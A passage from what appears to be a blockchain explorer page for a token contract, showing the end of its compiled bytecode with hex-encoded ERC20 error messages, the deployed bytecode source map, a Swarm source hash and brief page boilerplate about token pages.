00000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4552524f523a205472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a2044656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f2e0000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a20417070726f766520746f20746865207a65726f20616464726560008201527f73732e0000000000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4552524f523a20417070726f76652066726f6d20746865207a65726f2061646460008201527f726573732e000000000000000000000000000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b7f4552524f523a205472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e63652e0000000000000000000000000000000000000000000000602082015250565b6128ce8161253a565b81146128d957600080fd5b50565b6128e58161254c565b81146128f057600080fd5b50565b6128fc81612578565b811461290757600080fd5b5056fea26469706673582212207dbdebfff2e6b0e49a3b6fc2bd52bfca4ca4eafbbe76779b450c78f0e8d9d85664736f6c63430008060033

Deployed Bytecode Sourcemap

10677:4833:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10006:3;;;;;;;;;;;:8;;10022:9;10006:30;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10677:4833;;;;;9734:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11848:320;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10884:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12903:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11053:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9812:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9562:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14675:436;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11012:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12476:253;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9902:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10336:91;;;;;;;;;;;;;:::i;:::-;;12174:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9708:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9947:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10946:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14268:401;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12293:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9613:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9587:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12735:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11534:308;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10433:237;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;;;;;;;;9734:73;9765:42;9734:73;:::o;11848:320::-;11897:7;11948:1;11921:29;;11929:6;;;;;;;;;;;11921:29;;;:52;;;;;11971:1;11954:19;;:5;;;;;;;;;;:19;;;;11921:52;11913:61;;;;;;10875:1;10866:11;11981;:19;11993:6;11981:19;;;;;;;;;;;;;;;:35;9659:42;11981:35;;;;;;;;;;;;;;;:41;;;;10875:1;10866:11;12029;:26;12041:13;12029:26;;;;;;;;;;;;;;;:34;12056:6;12029:34;;;;;;;;;;;;;;;:40;;;;10875:1;10866:11;12076;:16;12088:3;;;;;;;;;;;12076:16;;;;;;;;;;;;;;;:32;9659:42;12076:32;;;;;;;;;;;;;;;:38;;;;12136:6;12121;;:22;;;;;;;;;;;;;;;;;;12157:5;;;;;;;;;;12150:12;;11848:320;;;:::o;10884:44::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;12903:171::-;12995:4;13011:39;13020:12;:10;:12::i;:::-;13034:7;13043:6;13011:8;:39::i;:::-;13064:4;13057:11;;12903:171;;;;:::o;11053:74::-;11045:1;11114:2;:12;;;;:::i;:::-;11100:10;:27;;;;:::i;:::-;11053:74;:::o;9812:83::-;9853:42;9812:83;:::o;9562:20::-;;;;;;;;;;;;:::o;14675:436::-;14795:4;14808:36;14818:6;14826:9;14837:6;14808:9;:36::i;:::-;14853:24;14880:11;:19;14892:6;14880:19;;;;;;;;;;;;;;;:33;14900:12;:10;:12::i;:::-;14880:33;;;;;;;;;;;;;;;;14853:60;;14956:6;14936:16;:26;;14920:101;;;;;;;;;;;;:::i;:::-;;;;;;;;;15028:57;15037:6;15045:12;:10;:12::i;:::-;15078:6;15059:16;:25;;;;:::i;:::-;15028:8;:57::i;:::-;15101:4;15094:11;;;14675:436;;;;;:::o;11012:34::-;11045:1;11012:34;:::o;12476:253::-;12581:4;12597:108;12614:12;:10;:12::i;:::-;12635:7;12688:10;12651:11;:25;12663:12;:10;:12::i;:::-;12651:25;;;;;;;;;;;;;;;:34;12677:7;12651:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;12597:8;:108::i;:::-;12719:4;12712:11;;12476:253;;;;:::o;9902:38::-;;;:::o;10336:91::-;10388:5;;;;;;;;;;10374:19;;:10;:19;;;10370:51;;;10416:3;;;;;;;;;;;10395:26;;;10370:51;10336:91::o;12174:113::-;12242:7;12265;:16;12273:7;12265:16;;;;;;;;;;;;;;;;12258:23;;12174:113;;;:::o;9708:19::-;;;;;;;;;;;;;:::o;9947:18::-;;;;;;;;;;;;;:::o;10946:44::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14268:401::-;14378:4;14394:24;14421:11;:25;14433:12;:10;:12::i;:::-;14421:25;;;;;;;;;;;;;;;:34;14447:7;14421:34;;;;;;;;;;;;;;;;14394:61;;14498:15;14478:16;:35;;14462:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;14576:67;14585:12;:10;:12::i;:::-;14599:7;14627:15;14608:16;:34;;;;:::i;:::-;14576:8;:67::i;:::-;14659:4;14652:11;;;14268:401;;;;:::o;12293:177::-;12388:4;12404:42;12414:12;:10;:12::i;:::-;12428:9;12439:6;12404:9;:42::i;:::-;12460:4;12453:11;;12293:177;;;;:::o;9613:88::-;9659:42;9613:88;:::o;9587:19::-;;;;;;;;;;;;;:::o;12735:162::-;12838:7;12864:11;:18;12876:5;12864:18;;;;;;;;;;;;;;;:27;12883:7;12864:27;;;;;;;;;;;;;;;;12857:34;;12735:162;;;;:::o;11534:308::-;11585:7;11626:1;11609:19;;:5;;;;;;;;;;:19;;;11601:28;;;;;;10875:1;10866:11;11636;:17;11648:4;11636:17;;;;;;;;;;;;;;;:33;9659:42;11636:33;;;;;;;;;;;;;;;:39;;;;10875:1;10866:11;11682;:26;11694:13;11682:26;;;;;;;;;;;;;;;:32;11709:4;11682:32;;;;;;;;;;;;;;;:38;;;;11727:59;11750:4;11757;11763:7;:22;11779:4;11763:22;;;;;;;;;;;;;;;;11727:14;:59::i;:::-;11803:4;11795:5;;:12;;;;;;;;;;;;;;;;;;11823:13;11816:20;;11534:308;;;:::o;10433:237::-;10499:7;10515;10531;10547;10563:4;10576:7;10592;10608;10646:5;;;;;;;;;;10640:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10633:31;;;;;;;;;;;;;;;;10433:237;;;;;;;;:::o;858:92::-;911:7;934:10;927:17;;858:92;:::o;13923:339::-;14049:1;14032:19;;:5;:19;;;;14024:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;14127:1;14108:21;;:7;:21;;;;14100:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;14206:6;14176:11;:18;14188:5;14176:18;;;;;;;;;;;;;;;:27;14195:7;14176:27;;;;;;;;;;;;;;;:36;;;;14240:7;14224:32;;14233:5;14224:32;;;14249:6;14224:32;;;;;;:::i;:::-;;;;;;;;13923:339;;;:::o;15117:390::-;15248:1;15230:20;;:6;:20;;;;15222:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;15329:1;15308:23;;:9;:23;;;;15300:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;15396:1;15387:6;:10;15379:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;15460:41;15475:6;15483:9;15494:6;15460:14;:41::i;:::-;15117:390;;;:::o;13080:837::-;13191:13;13241:1;13214:29;;13222:6;;;;;;;;;;;13214:29;;;:61;;13259:6;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13214:61;;;13254:1;13214:61;13191:84;;13299:13;13286:26;;:9;:26;;;:49;;;;;13333:1;13316:19;;:5;:19;;;;13286:49;13282:69;;;13346:5;13337:14;;13282:69;13385:7;13366;:15;13374:6;13366:15;;;;;;;;;;;;;;;;:26;;13358:35;;;;;;13436:7;13418;:15;13426:6;13418:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;13400:7;:15;13408:6;13400:15;;;;;;;;;;;;;;;:43;;;;13492:7;13471;:18;13479:9;13471:18;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;13450:7;:18;13458:9;13450:18;;;;;;;;;;;;;;;:49;;;;13525:3;;;;;;;;;;;13512:16;;:9;:16;;;13508:356;;13539:15;13603:4;13563:5;;;;;;;;;;13557:15;;;13573:6;13581:9;13592:7;13557:43;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:50;;;;:::i;:::-;13539:68;;13630:13;13620:23;;:6;:23;;;:38;;;;;13657:1;13647:7;:11;13620:38;13616:241;;;13696:7;13675;:18;9853:42;13675:18;;;;;;;;;;;;;;;;:28;13671:177;;;13735:7;13718;:13;9765:42;13718:13;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;13777:7;13755;:18;9853:42;13755:18;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;9765:42;13802:34;;9853:42;13802:34;;;13828:7;13802:34;;;;;;:::i;:::-;;;;;;;;13671:177;13616:241;13530:334;13508:356;13892:9;13875:36;;13884:6;13875:36;;;13903:7;13875:36;;;;;;:::i;:::-;;;;;;;;13184:733;13080:837;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:137::-;355:5;386:6;380:13;371:22;;402:30;426:5;402:30;:::i;:::-;361:77;;;;:::o;444:139::-;490:5;528:6;515:20;506:29;;544:33;571:5;544:33;:::i;:::-;496:87;;;;:::o;589:143::-;646:5;677:6;671:13;662:22;;693:33;720:5;693:33;:::i;:::-;652:80;;;;:::o;738:329::-;797:6;846:2;834:9;825:7;821:23;817:32;814:2;;;852:79;;:::i;:::-;814:2;972:1;997:53;1042:7;1033:6;1022:9;1018:22;997:53;:::i;:::-;987:63;;943:117;804:263;;;;:::o;1073:351::-;1143:6;1192:2;1180:9;1171:7;1167:23;1163:32;1160:2;;;1198:79;;:::i;:::-;1160:2;1318:1;1343:64;1399:7;1390:6;1379:9;1375:22;1343:64;:::i;:::-;1333:74;;1289:128;1150:274;;;;:::o;1430:474::-;1498:6;1506;1555:2;1543:9;1534:7;1530:23;1526:32;1523:2;;;1561:79;;:::i;:::-;1523:2;1681:1;1706:53;1751:7;1742:6;1731:9;1727:22;1706:53;:::i;:::-;1696:63;;1652:117;1808:2;1834:53;1879:7;1870:6;1859:9;1855:22;1834:53;:::i;:::-;1824:63;;1779:118;1513:391;;;;;:::o;1910:619::-;1987:6;1995;2003;2052:2;2040:9;2031:7;2027:23;2023:32;2020:2;;;2058:79;;:::i;:::-;2020:2;2178:1;2203:53;2248:7;2239:6;2228:9;2224:22;2203:53;:::i;:::-;2193:63;;2149:117;2305:2;2331:53;2376:7;2367:6;2356:9;2352:22;2331:53;:::i;:::-;2321:63;;2276:118;2433:2;2459:53;2504:7;2495:6;2484:9;2480:22;2459:53;:::i;:::-;2449:63;;2404:118;2010:519;;;;;:::o;2535:474::-;2603:6;2611;2660:2;2648:9;2639:7;2635:23;2631:32;2628:2;;;2666:79;;:::i;:::-;2628:2;2786:1;2811:53;2856:7;2847:6;2836:9;2832:22;2811:53;:::i;:::-;2801:63;;2757:117;2913:2;2939:53;2984:7;2975:6;2964:9;2960:22;2939:53;:::i;:::-;2929:63;;2884:118;2618:391;;;;;:::o;3015:351::-;3085:6;3134:2;3122:9;3113:7;3109:23;3105:32;3102:2;;;3140:79;;:::i;:::-;3102:2;3260:1;3285:64;3341:7;3332:6;3321:9;3317:22;3285:64;:::i;:::-;3275:74;;3231:128;3092:274;;;;:::o;3372:1442::-;3502:6;3510;3518;3526;3534;3542;3550;3558;3607:3;3595:9;3586:7;3582:23;3578:33;3575:2;;;3614:79;;:::i;:::-;3575:2;3734:1;3759:64;3815:7;3806:6;3795:9;3791:22;3759:64;:::i;:::-;3749:74;;3705:128;3872:2;3898:64;3954:7;3945:6;3934:9;3930:22;3898:64;:::i;:::-;3888:74;;3843:129;4011:2;4037:64;4093:7;4084:6;4073:9;4069:22;4037:64;:::i;:::-;4027:74;;3982:129;4150:2;4176:64;4232:7;4223:6;4212:9;4208:22;4176:64;:::i;:::-;4166:74;;4121:129;4289:3;4316:61;4369:7;4360:6;4349:9;4345:22;4316:61;:::i;:::-;4306:71;;4260:127;4426:3;4453:64;4509:7;4500:6;4489:9;4485:22;4453:64;:::i;:::-;4443:74;;4397:130;4566:3;4593:64;4649:7;4640:6;4629:9;4625:22;4593:64;:::i;:::-;4583:74;;4537:130;4706:3;4733:64;4789:7;4780:6;4769:9;4765:22;4733:64;:::i;:::-;4723:74;;4677:130;3565:1249;;;;;;;;;;;:::o;4820:118::-;4907:24;4925:5;4907:24;:::i;:::-;4902:3;4895:37;4885:53;;:::o;4944:109::-;5025:21;5040:5;5025:21;:::i;:::-;5020:3;5013:34;5003:50;;:::o;5059:157::-;5159:50;5203:5;5159:50;:::i;:::-;5154:3;5147:63;5137:79;;:::o;5222:364::-;5310:3;5338:39;5371:5;5338:39;:::i;:::-;5393:71;5457:6;5452:3;5393:71;:::i;:::-;5386:78;;5473:52;5518:6;5513:3;5506:4;5499:5;5495:16;5473:52;:::i;:::-;5550:29;5572:6;5550:29;:::i;:::-;5545:3;5541:39;5534:46;;5314:272;;;;;:::o;5592:366::-;5734:3;5755:67;5819:2;5814:3;5755:67;:::i;:::-;5748:74;;5831:93;5920:3;5831:93;:::i;:::-;5949:2;5944:3;5940:12;5933:19;;5738:220;;;:::o;5964:366::-;6106:3;6127:67;6191:2;6186:3;6127:67;:::i;:::-;6120:74;;6203:93;6292:3;6203:93;:::i;:::-;6321:2;6316:3;6312:12;6305:19;;6110:220;;;:::o;6336:366::-;6478:3;6499:67;6563:2;6558:3;6499:67;:::i;:::-;6492:74;;6575:93;6664:3;6575:93;:::i;:::-;6693:2;6688:3;6684:12;6677:19;;6482:220;;;:::o;6708:366::-;6850:3;6871:67;6935:2;6930:3;6871:67;:::i;:::-;6864:74;;6947:93;7036:3;6947:93;:::i;:::-;7065:2;7060:3;7056:12;7049:19;;6854:220;;;:::o;7080:398::-;7239:3;7260:83;7341:1;7336:3;7260:83;:::i;:::-;7253:90;;7352:93;7441:3;7352:93;:::i;:::-;7470:1;7465:3;7461:11;7454:18;;7243:235;;;:::o;7484:366::-;7626:3;7647:67;7711:2;7706:3;7647:67;:::i;:::-;7640:74;;7723:93;7812:3;7723:93;:::i;:::-;7841:2;7836:3;7832:12;7825:19;;7630:220;;;:::o;7856:366::-;7998:3;8019:67;8083:2;8078:3;8019:67;:::i;:::-;8012:74;;8095:93;8184:3;8095:93;:::i;:::-;8213:2;8208:3;8204:12;8197:19;;8002:220;;;:::o;8228:366::-;8370:3;8391:67;8455:2;8450:3;8391:67;:::i;:::-;8384:74;;8467:93;8556:3;8467:93;:::i;:::-;8585:2;8580:3;8576:12;8569:19;;8374:220;;;:::o;8600:118::-;8687:24;8705:5;8687:24;:::i;:::-;8682:3;8675:37;8665:53;;:::o;8724:112::-;8807:22;8823:5;8807:22;:::i;:::-;8802:3;8795:35;8785:51;;:::o;8842:379::-;9026:3;9048:147;9191:3;9048:147;:::i;:::-;9041:154;;9212:3;9205:10;;9030:191;;;:::o;9227:222::-;9320:4;9358:2;9347:9;9343:18;9335:26;;9371:71;9439:1;9428:9;9424:17;9415:6;9371:71;:::i;:::-;9325:124;;;;:::o;9455:442::-;9604:4;9642:2;9631:9;9627:18;9619:26;;9655:71;9723:1;9712:9;9708:17;9699:6;9655:71;:::i;:::-;9736:72;9804:2;9793:9;9789:18;9780:6;9736:72;:::i;:::-;9818;9886:2;9875:9;9871:18;9862:6;9818:72;:::i;:::-;9609:288;;;;;;:::o;9903:210::-;9990:4;10028:2;10017:9;10013:18;10005:26;;10041:65;10103:1;10092:9;10088:17;10079:6;10041:65;:::i;:::-;9995:118;;;;:::o;10119:248::-;10225:4;10263:2;10252:9;10248:18;10240:26;;10276:84;10357:1;10346:9;10342:17;10333:6;10276:84;:::i;:::-;10230:137;;;;:::o;10373:313::-;10486:4;10524:2;10513:9;10509:18;10501:26;;10573:9;10567:4;10563:20;10559:1;10548:9;10544:17;10537:47;10601:78;10674:4;10665:6;10601:78;:::i;:::-;10593:86;;10491:195;;;;:::o;10692:419::-;10858:4;10896:2;10885:9;10881:18;10873:26;;10945:9;10939:4;10935:20;10931:1;10920:9;10916:17;10909:47;10973:131;11099:4;10973:131;:::i;:::-;10965:139;;10863:248;;;:::o;11117:419::-;11283:4;11321:2;11310:9;11306:18;11298:26;;11370:9;11364:4;11360:20;11356:1;11345:9;11341:17;11334:47;11398:131;11524:4;11398:131;:::i;:::-;11390:139;;11288:248;;;:::o;11542:419::-;11708:4;11746:2;11735:9;11731:18;11723:26;;11795:9;11789:4;11785:20;11781:1;11770:9;11766:17;11759:47;11823:131;11949:4;11823:131;:::i;:::-;11815:139;;11713:248;;;:::o;11967:419::-;12133:4;12171:2;12160:9;12156:18;12148:26;;12220:9;12214:4;12210:20;12206:1;12195:9;12191:17;12184:47;12248:131;12374:4;12248:131;:::i;:::-;12240:139;;12138:248;;;:::o;12392:419::-;12558:4;12596:2;12585:9;12581:18;12573:26;;12645:9;12639:4;12635:20;12631:1;12620:9;12616:17;12609:47;12673:131;12799:4;12673:131;:::i;:::-;12665:139;;12563:248;;;:::o;12817:419::-;12983:4;13021:2;13010:9;13006:18;12998:26;;13070:9;13064:4;13060:20;13056:1;13045:9;13041:17;13034:47;13098:131;13224:4;13098:131;:::i;:::-;13090:139;;12988:248;;;:::o;13242:419::-;13408:4;13446:2;13435:9;13431:18;13423:26;;13495:9;13489:4;13485:20;13481:1;13470:9;13466:17;13459:47;13523:131;13649:4;13523:131;:::i;:::-;13515:139;;13413:248;;;:::o;13667:222::-;13760:4;13798:2;13787:9;13783:18;13775:26;;13811:71;13879:1;13868:9;13864:17;13855:6;13811:71;:::i;:::-;13765:124;;;;:::o;13895:985::-;14178:4;14216:3;14205:9;14201:19;14193:27;;14230:71;14298:1;14287:9;14283:17;14274:6;14230:71;:::i;:::-;14311:72;14379:2;14368:9;14364:18;14355:6;14311:72;:::i;:::-;14393;14461:2;14450:9;14446:18;14437:6;14393:72;:::i;:::-;14475;14543:2;14532:9;14528:18;14519:6;14475:72;:::i;:::-;14557:67;14619:3;14608:9;14604:19;14595:6;14557:67;:::i;:::-;14634:73;14702:3;14691:9;14687:19;14678:6;14634:73;:::i;:::-;14717;14785:3;14774:9;14770:19;14761:6;14717:73;:::i;:::-;14800;14868:3;14857:9;14853:19;14844:6;14800:73;:::i;:::-;14183:697;;;;;;;;;;;:::o;14886:214::-;14975:4;15013:2;15002:9;14998:18;14990:26;;15026:67;15090:1;15079:9;15075:17;15066:6;15026:67;:::i;:::-;14980:120;;;;:::o;15187:99::-;15239:6;15273:5;15267:12;15257:22;;15246:40;;;:::o;15292:147::-;15393:11;15430:3;15415:18;;15405:34;;;;:::o;15445:169::-;15529:11;15563:6;15558:3;15551:19;15603:4;15598:3;15594:14;15579:29;;15541:73;;;;:::o;15620:305::-;15660:3;15679:20;15697:1;15679:20;:::i;:::-;15674:25;;15713:20;15731:1;15713:20;:::i;:::-;15708:25;;15867:1;15799:66;15795:74;15792:1;15789:81;15786:2;;;15873:18;;:::i;:::-;15786:2;15917:1;15914;15910:9;15903:16;;15664:261;;;;:::o;15931:848::-;15992:5;15999:4;16023:6;16014:15;;16047:5;16038:14;;16061:712;16082:1;16072:8;16069:15;16061:712;;;16177:4;16172:3;16168:14;16162:4;16159:24;16156:2;;;16186:18;;:::i;:::-;16156:2;16236:1;16226:8;16222:16;16219:2;;;16651:4;16644:5;16640:16;16631:25;;16219:2;16701:4;16695;16691:15;16683:23;;16731:32;16754:8;16731:32;:::i;:::-;16719:44;;16061:712;;;16004:775;;;;;;;:::o;16785:281::-;16843:5;16867:23;16885:4;16867:23;:::i;:::-;16859:31;;16911:25;16927:8;16911:25;:::i;:::-;16899:37;;16955:104;16992:66;16982:8;16976:4;16955:104;:::i;:::-;16946:113;;16849:217;;;;:::o;17072:1073::-;17126:5;17317:8;17307:2;;17338:1;17329:10;;17340:5;;17307:2;17366:4;17356:2;;17383:1;17374:10;;17385:5;;17356:2;17452:4;17500:1;17495:27;;;;17536:1;17531:191;;;;17445:277;;17495:27;17513:1;17504:10;;17515:5;;;17531:191;17576:3;17566:8;17563:17;17560:2;;;17583:18;;:::i;:::-;17560:2;17632:8;17629:1;17625:16;17616:25;;17667:3;17660:5;17657:14;17654:2;;;17674:18;;:::i;:::-;17654:2;17707:5;;;17445:277;;17831:2;17821:8;17818:16;17812:3;17806:4;17803:13;17799:36;17781:2;17771:8;17768:16;17763:2;17757:4;17754:12;17750:35;17734:111;17731:2;;;17887:8;17881:4;17877:19;17868:28;;17922:3;17915:5;17912:14;17909:2;;;17929:18;;:::i;:::-;17909:2;17962:5;;17731:2;18002:42;18040:3;18030:8;18024:4;18021:1;18002:42;:::i;:::-;17987:57;;;;18076:4;18071:3;18067:14;18060:5;18057:25;18054:2;;;18085:18;;:::i;:::-;18054:2;18134:4;18127:5;18123:16;18114:25;;17132:1013;;;;;;:::o;18151:348::-;18191:7;18214:20;18232:1;18214:20;:::i;:::-;18209:25;;18248:20;18266:1;18248:20;:::i;:::-;18243:25;;18436:1;18368:66;18364:74;18361:1;18358:81;18353:1;18346:9;18339:17;18335:105;18332:2;;;18443:18;;:::i;:::-;18332:2;18491:1;18488;18484:9;18473:20;;18199:300;;;;:::o;18505:191::-;18545:4;18565:20;18583:1;18565:20;:::i;:::-;18560:25;;18599:20;18617:1;18599:20;:::i;:::-;18594:25;;18638:1;18635;18632:8;18629:2;;;18643:18;;:::i;:::-;18629:2;18688:1;18685;18681:9;18673:17;;18550:146;;;;:::o;18702:96::-;18739:7;18768:24;18786:5;18768:24;:::i;:::-;18757:35;;18747:51;;;:::o;18804:90::-;18838:7;18881:5;18874:13;18867:21;18856:32;;18846:48;;;:::o;18900:126::-;18937:7;18977:42;18970:5;18966:54;18955:65;;18945:81;;;:::o;19032:77::-;19069:7;19098:5;19087:16;;19077:32;;;:::o;19115:86::-;19150:7;19190:4;19183:5;19179:16;19168:27;;19158:43;;;:::o;19207:152::-;19270:9;19303:50;19347:5;19303:50;:::i;:::-;19290:63;;19280:79;;;:::o;19365:126::-;19428:9;19461:24;19479:5;19461:24;:::i;:::-;19448:37;;19438:53;;;:::o;19497:307::-;19565:1;19575:113;19589:6;19586:1;19583:13;19575:113;;;19674:1;19669:3;19665:11;19659:18;19655:1;19650:3;19646:11;19639:39;19611:2;19608:1;19604:10;19599:15;;19575:113;;;19706:6;19703:1;19700:13;19697:2;;;19786:1;19777:6;19772:3;19768:16;19761:27;19697:2;19546:258;;;;:::o;19810:320::-;19854:6;19891:1;19885:4;19881:12;19871:22;;19938:1;19932:4;19928:12;19959:18;19949:2;;20015:4;20007:6;20003:17;19993:27;;19949:2;20077;20069:6;20066:14;20046:18;20043:38;20040:2;;;20096:18;;:::i;:::-;20040:2;19861:269;;;;:::o;20136:180::-;20184:77;20181:1;20174:88;20281:4;20278:1;20271:15;20305:4;20302:1;20295:15;20322:180;20370:77;20367:1;20360:88;20467:4;20464:1;20457:15;20491:4;20488:1;20481:15;20631:117;20740:1;20737;20730:12;20754:102;20795:6;20846:2;20842:7;20837:2;20830:5;20826:14;20822:28;20812:38;;20802:54;;;:::o;20862:102::-;20904:8;20951:5;20948:1;20944:13;20923:34;;20913:51;;;:::o;20970:225::-;21110:34;21106:1;21098:6;21094:14;21087:58;21179:8;21174:2;21166:6;21162:15;21155:33;21076:119;:::o;21201:225::-;21341:34;21337:1;21329:6;21325:14;21318:58;21410:8;21405:2;21397:6;21393:15;21386:33;21307:119;:::o;21432:222::-;21572:34;21568:1;21560:6;21556:14;21549:58;21641:5;21636:2;21628:6;21624:15;21617:30;21538:116;:::o;21660:223::-;21800:34;21796:1;21788:6;21784:14;21777:58;21869:6;21864:2;21856:6;21852:15;21845:31;21766:117;:::o;21889:114::-;21995:8;:::o;22009:224::-;22149:34;22145:1;22137:6;22133:14;22126:58;22218:7;22213:2;22205:6;22201:15;22194:32;22115:118;:::o;22239:236::-;22379:34;22375:1;22367:6;22363:14;22356:58;22448:19;22443:2;22435:6;22431:15;22424:44;22345:130;:::o;22481:228::-;22621:34;22617:1;22609:6;22605:14;22598:58;22690:11;22685:2;22677:6;22673:15;22666:36;22587:122;:::o;22715:::-;22788:24;22806:5;22788:24;:::i;:::-;22781:5;22778:35;22768:2;;22827:1;22824;22817:12;22768:2;22758:79;:::o;22843:116::-;22913:21;22928:5;22913:21;:::i;:::-;22906:5;22903:32;22893:2;;22949:1;22946;22939:12;22893:2;22883:76;:::o;22965:122::-;23038:24;23056:5;23038:24;:::i;:::-;23031:5;23028:35;23018:2;;23077:1;23074;23067:12;23018:2;23008:79;:::o

Swarm Source

ipfs://7dbdebfff2e6b0e49a3b6fc2bd52bfca4ca4eafbbe76779b450c78f0e8d9d856
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.